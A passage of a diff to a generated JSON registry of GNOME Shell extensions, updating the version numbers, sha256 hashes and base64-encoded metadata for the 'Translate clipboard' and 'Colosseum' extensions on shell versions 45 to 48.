ZXJzaW9uIjogMjgKfQ=="}
   }}
 , {"uuid": "bigSur-StatusArea@ordissimo.com", "name": "Big Sur Status Area", "pname": "big-sur-status-area", "description": "Move the Power/Network/Volume/User/Date/Notifications menus to the status area. It is a fork of :https://github.com/Fausto-Korpsvart/Big-Sur-StatusArea", "link": "https://extensions.gnome.org/extension/4085/big-sur-status-area/", "shell_version_map": {
     "38": {"version": "25", "sha256": "0dg2fg98l0wxr4hgaz2lwb30p93asbm5693svm8kq51v3g3wpdw0", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1vdmUgdGhlIFBvd2VyL05ldHdvcmsvVm9sdW1lL1VzZXIvRGF0ZS9Ob3RpZmljYXRpb25zIG1lbnVzIHRvIHRoZSBzdGF0dXMgYXJlYS4gSXQgaXMgYSBmb3JrIG9mIDpodHRwczovL2dpdGh1Yi5jb20vRmF1c3RvLUtvcnBzdmFydC9CaWctU3VyLVN0YXR1c0FyZWEiLAogICJuYW1lIjogIkJpZyBTdXIgU3RhdHVzIEFyZWEiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjMuMzgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9PcmRpc3NpbW8vQmlnLVN1ci1TdGF0dXNBcmVhIiwKICAidXVpZCI6ICJiaWdTdXItU3RhdHVzQXJlYUBvcmRpc3NpbW8uY29tIiwKICAidmVyc2lvbiI6IDI1Cn0="},
@@ -3703,10 +3710,10 @@
     "42": {"version": "19", "sha256": "0zh3vmyag819qjl2f1gnsa3aaa67z2ga10l18r9phdrvg9fh2q28", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRyYW5zbGF0ZSBjbGlwYm9hcmQgdGV4dCIsCiAgIm5hbWUiOiAiVHJhbnNsYXRlIGNsaXBib2FyZCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDAiLAogICAgIjQxIiwKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbHNub3cvdHJhbnNsYXRlLWNsaXBib2FyZCIsCiAgInV1aWQiOiAidHJhbnNsYXRlLWNsaXBib2FyZEBsc25vdy5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMTkKfQ=="},
     "43": {"version": "19", "sha256": "0zh3vmyag819qjl2f1gnsa3aaa67z2ga10l18r9phdrvg9fh2q28", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRyYW5zbGF0ZSBjbGlwYm9hcmQgdGV4dCIsCiAgIm5hbWUiOiAiVHJhbnNsYXRlIGNsaXBib2FyZCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDAiLAogICAgIjQxIiwKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbHNub3cvdHJhbnNsYXRlLWNsaXBib2FyZCIsCiAgInV1aWQiOiAidHJhbnNsYXRlLWNsaXBib2FyZEBsc25vdy5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMTkKfQ=="},
     "44": {"version": "19", "sha256": "0zh3vmyag819qjl2f1gnsa3aaa67z2ga10l18r9phdrvg9fh2q28", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRyYW5zbGF0ZSBjbGlwYm9hcmQgdGV4dCIsCiAgIm5hbWUiOiAiVHJhbnNsYXRlIGNsaXBib2FyZCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDAiLAogICAgIjQxIiwKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbHNub3cvdHJhbnNsYXRlLWNsaXBib2FyZCIsCiAgInV1aWQiOiAidHJhbnNsYXRlLWNsaXBib2FyZEBsc25vdy5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMTkKfQ=="},
-    "45": {"version": "31", "sha256": "1k6pdj7phwknzdc84illglsn44rs5lzpbifa2sg85qv2960njyaw", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRyYW5zbGF0ZSBjbGlwYm9hcmQgdGV4dCIsCiAgImV4dGVuc2lvbi1pZCI6ICJ0cmFuc2xhdGUtY2xpcGJvYXJkIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiVHJhbnNsYXRlQ2xpcGJvYXJkIiwKICAibG9jYWxlIjogIi91c3IvbG9jYWwvc2hhcmUvbG9jYWxlIiwKICAibmFtZSI6ICJUcmFuc2xhdGUgY2xpcGJvYXJkIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnRyYW5zbGF0ZS1jbGlwYm9hcmQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbHNub3cvdHJhbnNsYXRlLWNsaXBib2FyZCIsCiAgInV1aWQiOiAidHJhbnNsYXRlLWNsaXBib2FyZEBsc25vdy5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMzEKfQ=="},
-    "46": {"version": "31", "sha256": "1k6pdj7phwknzdc84illglsn44rs5lzpbifa2sg85qv2960njyaw", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRyYW5zbGF0ZSBjbGlwYm9hcmQgdGV4dCIsCiAgImV4dGVuc2lvbi1pZCI6ICJ0cmFuc2xhdGUtY2xpcGJvYXJkIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiVHJhbnNsYXRlQ2xpcGJvYXJkIiwKICAibG9jYWxlIjogIi91c3IvbG9jYWwvc2hhcmUvbG9jYWxlIiwKICAibmFtZSI6ICJUcmFuc2xhdGUgY2xpcGJvYXJkIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnRyYW5zbGF0ZS1jbGlwYm9hcmQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbHNub3cvdHJhbnNsYXRlLWNsaXBib2FyZCIsCiAgInV1aWQiOiAidHJhbnNsYXRlLWNsaXBib2FyZEBsc25vdy5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMzEKfQ=="},
-    "47": {"version": "31", "sha256": "1k6pdj7phwknzdc84illglsn44rs5lzpbifa2sg85qv2960njyaw", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRyYW5zbGF0ZSBjbGlwYm9hcmQgdGV4dCIsCiAgImV4dGVuc2lvbi1pZCI6ICJ0cmFuc2xhdGUtY2xpcGJvYXJkIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiVHJhbnNsYXRlQ2xpcGJvYXJkIiwKICAibG9jYWxlIjogIi91c3IvbG9jYWwvc2hhcmUvbG9jYWxlIiwKICAibmFtZSI6ICJUcmFuc2xhdGUgY2xpcGJvYXJkIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnRyYW5zbGF0ZS1jbGlwYm9hcmQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbHNub3cvdHJhbnNsYXRlLWNsaXBib2FyZCIsCiAgInV1aWQiOiAidHJhbnNsYXRlLWNsaXBib2FyZEBsc25vdy5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMzEKfQ=="},
-    "48": {"version": "31", "sha256": "1k6pdj7phwknzdc84illglsn44rs5lzpbifa2sg85qv2960njyaw", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRyYW5zbGF0ZSBjbGlwYm9hcmQgdGV4dCIsCiAgImV4dGVuc2lvbi1pZCI6ICJ0cmFuc2xhdGUtY2xpcGJvYXJkIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiVHJhbnNsYXRlQ2xpcGJvYXJkIiwKICAibG9jYWxlIjogIi91c3IvbG9jYWwvc2hhcmUvbG9jYWxlIiwKICAibmFtZSI6ICJUcmFuc2xhdGUgY2xpcGJvYXJkIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnRyYW5zbGF0ZS1jbGlwYm9hcmQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbHNub3cvdHJhbnNsYXRlLWNsaXBib2FyZCIsCiAgInV1aWQiOiAidHJhbnNsYXRlLWNsaXBib2FyZEBsc25vdy5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMzEKfQ=="}
+    "45": {"version": "32", "sha256": "196jmc6basihcwhzycli0828lbc38glhniq0gszc0fxrjapcx3fz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRyYW5zbGF0ZSBjbGlwYm9hcmQgdGV4dCIsCiAgImV4dGVuc2lvbi1pZCI6ICJ0cmFuc2xhdGUtY2xpcGJvYXJkIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiVHJhbnNsYXRlQ2xpcGJvYXJkIiwKICAibG9jYWxlIjogIi91c3IvbG9jYWwvc2hhcmUvbG9jYWxlIiwKICAibmFtZSI6ICJUcmFuc2xhdGUgY2xpcGJvYXJkIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnRyYW5zbGF0ZS1jbGlwYm9hcmQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbHNub3cvdHJhbnNsYXRlLWNsaXBib2FyZCIsCiAgInV1aWQiOiAidHJhbnNsYXRlLWNsaXBib2FyZEBsc25vdy5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMzIKfQ=="},
+    "46": {"version": "32", "sha256": "196jmc6basihcwhzycli0828lbc38glhniq0gszc0fxrjapcx3fz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRyYW5zbGF0ZSBjbGlwYm9hcmQgdGV4dCIsCiAgImV4dGVuc2lvbi1pZCI6ICJ0cmFuc2xhdGUtY2xpcGJvYXJkIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiVHJhbnNsYXRlQ2xpcGJvYXJkIiwKICAibG9jYWxlIjogIi91c3IvbG9jYWwvc2hhcmUvbG9jYWxlIiwKICAibmFtZSI6ICJUcmFuc2xhdGUgY2xpcGJvYXJkIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnRyYW5zbGF0ZS1jbGlwYm9hcmQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbHNub3cvdHJhbnNsYXRlLWNsaXBib2FyZCIsCiAgInV1aWQiOiAidHJhbnNsYXRlLWNsaXBib2FyZEBsc25vdy5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMzIKfQ=="},
+    "47": {"version": "32", "sha256": "196jmc6basihcwhzycli0828lbc38glhniq0gszc0fxrjapcx3fz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRyYW5zbGF0ZSBjbGlwYm9hcmQgdGV4dCIsCiAgImV4dGVuc2lvbi1pZCI6ICJ0cmFuc2xhdGUtY2xpcGJvYXJkIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiVHJhbnNsYXRlQ2xpcGJvYXJkIiwKICAibG9jYWxlIjogIi91c3IvbG9jYWwvc2hhcmUvbG9jYWxlIiwKICAibmFtZSI6ICJUcmFuc2xhdGUgY2xpcGJvYXJkIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnRyYW5zbGF0ZS1jbGlwYm9hcmQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbHNub3cvdHJhbnNsYXRlLWNsaXBib2FyZCIsCiAgInV1aWQiOiAidHJhbnNsYXRlLWNsaXBib2FyZEBsc25vdy5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMzIKfQ=="},
+    "48": {"version": "32", "sha256": "196jmc6basihcwhzycli0828lbc38glhniq0gszc0fxrjapcx3fz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRyYW5zbGF0ZSBjbGlwYm9hcmQgdGV4dCIsCiAgImV4dGVuc2lvbi1pZCI6ICJ0cmFuc2xhdGUtY2xpcGJvYXJkIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiVHJhbnNsYXRlQ2xpcGJvYXJkIiwKICAibG9jYWxlIjogIi91c3IvbG9jYWwvc2hhcmUvbG9jYWxlIiwKICAibmFtZSI6ICJUcmFuc2xhdGUgY2xpcGJvYXJkIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnRyYW5zbGF0ZS1jbGlwYm9hcmQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbHNub3cvdHJhbnNsYXRlLWNsaXBib2FyZCIsCiAgInV1aWQiOiAidHJhbnNsYXRlLWNsaXBib2FyZEBsc25vdy5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMzIKfQ=="}
   }}
 , {"uuid": "no-overview@fthx", "name": "No overview at start-up", "pname": "no-overview", "description": "No overview at start-up. Nothing more.", "link": "https://extensions.gnome.org/extension/4099/no-overview/", "shell_version_map": {
     "40": {"version": "13", "sha256": "18v54y1a4qrpq2gm65z0l13p02grjzcqa1xskn1bhwdy35pdal3n", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk5vIG92ZXJ2aWV3IGF0IHN0YXJ0LXVwLiBGb3IgR05PTUUgU2hlbGwgNDArLiIsCiAgIm5hbWUiOiAiTm8gb3ZlcnZpZXcgYXQgc3RhcnQtdXAiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImZ0aHgiCiAgXSwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9mdGh4L25vLW92ZXJ2aWV3IiwKICAidXVpZCI6ICJuby1vdmVydmlld0BmdGh4IiwKICAidmVyc2lvbiI6IDEzCn0="},
@@ -3926,10 +3933,10 @@
     "42": {"version": "35", "sha256": "1idavgwzqfx8kz3xs109xiyjbqlm9j312k10z49pr1css38vgd4v", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlZpZXcgbGl2ZSBzY29yZXMgZm9yIHlvdXIgZmF2b3JpdGUgc3BvcnRzIHRlYW1zLiIsCiAgIm5hbWUiOiAiQ29sb3NzZXVtIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9zZXJlbmVibHVlL2dub21lLXNoZWxsLWV4dGVuc2lvbi1jb2xvc3NldW0iLAogICJ1dWlkIjogImNvbG9zc2V1bUBzZXJlbmVibHVlIiwKICAidmVyc2lvbiI6IDM1Cn0="},
     "43": {"version": "35", "sha256": "1idavgwzqfx8kz3xs109xiyjbqlm9j312k10z49pr1css38vgd4v", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlZpZXcgbGl2ZSBzY29yZXMgZm9yIHlvdXIgZmF2b3JpdGUgc3BvcnRzIHRlYW1zLiIsCiAgIm5hbWUiOiAiQ29sb3NzZXVtIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9zZXJlbmVibHVlL2dub21lLXNoZWxsLWV4dGVuc2lvbi1jb2xvc3NldW0iLAogICJ1dWlkIjogImNvbG9zc2V1bUBzZXJlbmVibHVlIiwKICAidmVyc2lvbiI6IDM1Cn0="},
     "44": {"version": "35", "sha256": "1idavgwzqfx8kz3xs109xiyjbqlm9j312k10z49pr1css38vgd4v", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlZpZXcgbGl2ZSBzY29yZXMgZm9yIHlvdXIgZmF2b3JpdGUgc3BvcnRzIHRlYW1zLiIsCiAgIm5hbWUiOiAiQ29sb3NzZXVtIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9zZXJlbmVibHVlL2dub21lLXNoZWxsLWV4dGVuc2lvbi1jb2xvc3NldW0iLAogICJ1dWlkIjogImNvbG9zc2V1bUBzZXJlbmVibHVlIiwKICAidmVyc2lvbiI6IDM1Cn0="},
-    "45": {"version": "36", "sha256": "0lk8dqppw544rd6x9xiba5bsji8jxamby4whchw0pmmpgrs4gb2f", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlZpZXcgbGl2ZSBzY29yZXMgZm9yIHlvdXIgZmF2b3JpdGUgc3BvcnRzIHRlYW1zLiIsCiAgIm5hbWUiOiAiQ29sb3NzZXVtIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3NlcmVuZWJsdWUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLWNvbG9zc2V1bSIsCiAgInV1aWQiOiAiY29sb3NzZXVtQHNlcmVuZWJsdWUiLAogICJ2ZXJzaW9uIjogMzYKfQ=="},
-    "46": {"version": "36", "sha256": "0lk8dqppw544rd6x9xiba5bsji8jxamby4whchw0pmmpgrs4gb2f", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlZpZXcgbGl2ZSBzY29yZXMgZm9yIHlvdXIgZmF2b3JpdGUgc3BvcnRzIHRlYW1zLiIsCiAgIm5hbWUiOiAiQ29sb3NzZXVtIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3NlcmVuZWJsdWUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLWNvbG9zc2V1bSIsCiAgInV1aWQiOiAiY29sb3NzZXVtQHNlcmVuZWJsdWUiLAogICJ2ZXJzaW9uIjogMzYKfQ=="},
-    "47": {"version": "36", "sha256": "0lk8dqppw544rd6x9xiba5bsji8jxamby4whchw0pmmpgrs4gb2f", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlZpZXcgbGl2ZSBzY29yZXMgZm9yIHlvdXIgZmF2b3JpdGUgc3BvcnRzIHRlYW1zLiIsCiAgIm5hbWUiOiAiQ29sb3NzZXVtIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3NlcmVuZWJsdWUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLWNvbG9zc2V1bSIsCiAgInV1aWQiOiAiY29sb3NzZXVtQHNlcmVuZWJsdWUiLAogICJ2ZXJzaW9uIjogMzYKfQ=="},
-    "48": {"version": "36", "sha256": "0lk8dqppw544rd6x9xiba5bsji8jxamby4whchw0pmmpgrs4gb2f", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlZpZXcgbGl2ZSBzY29yZXMgZm9yIHlvdXIgZmF2b3JpdGUgc3BvcnRzIHRlYW1zLiIsCiAgIm5hbWUiOiAiQ29sb3NzZXVtIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3NlcmVuZWJsdWUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLWNvbG9zc2V1bSIsCiAgInV1aWQiOiAiY29sb3NzZXVtQHNlcmVuZWJsdWUiLAogICJ2ZXJzaW9uIjogMzYKfQ=="}
+    "45": {"version": "38", "sha256": "0mnr6iysahsjmw3q3vqvh6yji0q9s6pra4wbrb43jq7h8a38mkc1", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlZpZXcgbGl2ZSBzY29yZXMgZm9yIHlvdXIgZmF2b3JpdGUgc3BvcnRzIHRlYW1zLiIsCiAgIm5hbWUiOiAiQ29sb3NzZXVtIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3NlcmVuZWJsdWUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLWNvbG9zc2V1bSIsCiAgInV1aWQiOiAiY29sb3NzZXVtQHNlcmVuZWJsdWUiLAogICJ2ZXJzaW9uIjogMzgKfQ=="},
+    "46": {"version": "38", "sha256": "0mnr6iysahsjmw3q3vqvh6yji0q9s6pra4wbrb43jq7h8a38mkc1", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlZpZXcgbGl2ZSBzY29yZXMgZm9yIHlvdXIgZmF2b3JpdGUgc3BvcnRzIHRlYW1zLiIsCiAgIm5hbWUiOiAiQ29sb3NzZXVtIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3NlcmVuZWJsdWUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLWNvbG9zc2V1bSIsCiAgInV1aWQiOiAiY29sb3NzZXVtQHNlcmVuZWJsdWUiLAogICJ2ZXJzaW9uIjogMzgKfQ=="},
+    "47": {"version": "38", "sha256": "0mnr6iysahsjmw3q3vqvh6yji0q9s6pra4wbrb43jq7h8a38mkc1", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlZpZXcgbGl2ZSBzY29yZXMgZm9yIHlvdXIgZmF2b3JpdGUgc3BvcnRzIHRlYW1zLiIsCiAgIm5hbWUiOiAiQ29sb3NzZXVtIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3NlcmVuZWJsdWUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLWNvbG9zc2V1bSIsCiAgInV1aWQiOiAiY29sb3NzZXVtQHNlcmVuZWJsdWUiLAogICJ2ZXJzaW9uIjogMzgKfQ=="},
+    "48": {"version": "38", "sha256": "0mnr6iysahsjmw3q3vqvh6yji0q9s6pra4wbrb43jq7h8a38mkc1", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlZpZXcgbGl2ZSBzY29yZXMgZm9yIHlvdXIgZmF2b3JpdGUgc3BvcnRzIHRlYW1zLiIsCiAgIm5hbWUiOiAiQ29sb3NzZXVtIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3NlcmVuZWJsdWUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLWNvbG9zc2V1bSIsCiAgInV1aWQiOiAiY29sb3NzZXVtQHNlcmVuZWJsdWUiLAogICJ2ZXJzaW9uIjogMzgKfQ=="}
   }}
 , {"uuid": "gnome-plat-workspace@stonegate.me", "name": "Gnome 40 Flat Workspace", "pname": "gnome-40-plat-workspace", "description": "Remove shadow for workspace background in gnome 40.\nSource code https://github.com/stonega/gnome-extension-flat-workspace", "link": "https://extensions.gnome.org/extension/4215/gnome-40-plat-workspace/", "shell_version_map": {
     "40": {"version": "3", "sha256": "0ly2dab9c0l7w1axnqs7xk2szd5jm2ifgniz2snw5mwkr5pw76nb", "metadata": 